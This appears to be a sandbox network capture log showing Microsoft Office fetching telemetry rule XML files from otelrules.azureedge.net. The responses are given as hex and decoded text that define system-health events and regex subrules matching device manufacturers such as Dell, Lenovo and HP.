2024-10-30 22:11:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:21 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 5d69bbb7-d01e-008e-6d6a-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221121Z-17c5cb586f62bgw58esgbu9hgw00000001d0000000004we9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:21 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:21 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:21 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 7920d540-e01e-0085-1f11-29c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221121Z-15b8d89586fvk4kmbg8pf84y8800000009mg0000000053ww x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:21 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:21 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:21 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 9a0790d9-e01e-0052-7cad-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221121Z-16849878b78qfbkc5yywmsbg0c000000088g00000000nqzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:21 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49717	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 834668b8-301e-0052-121c-2765d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221121Z-15b8d89586f989rkwt13xern54000000041g000000000t1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49720	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:22 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 7b93b929-d01e-0082-6676-27e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221122Z-16849878b78hh85qc40uyr8sc80000000900000000003rmw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:22 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:22 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e84b733d-701e-005c-1bb8-26bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221122Z-16849878b78km6fmmkbenhx76n00000007wg00000000tyy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:22 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:22 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 633f9008-101e-00a2-3e9b-279f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221122Z-16849878b78sx229w7g7at4nkg00000006z0000000002hm0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:22 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 557cfad9-601e-0097-7970-2af33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221122Z-159b85dff8flhpxphC1DFWbnq800000000zg000000002wgh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:22 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:22 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 4755be7f-e01e-0052-062b-26d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221122Z-16849878b78fssff8btnns3b1400000008u000000000xrm0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:22 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 8384fc49-f01e-00aa-06d4-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221123Z-17c5cb586f6wmhkn5q6fu8c5ss0000000860000000004g9a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 910f925b-b01e-001e-0b30-2a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221123Z-15b8d89586fzhrwgk23ex2bvhw0000000bsg0000000000wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: fcb0891e-801e-007b-6669-28e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221123Z-15b8d89586f4zwgbgswvrvz4vs00000009z000000000gfcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 22:11:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S 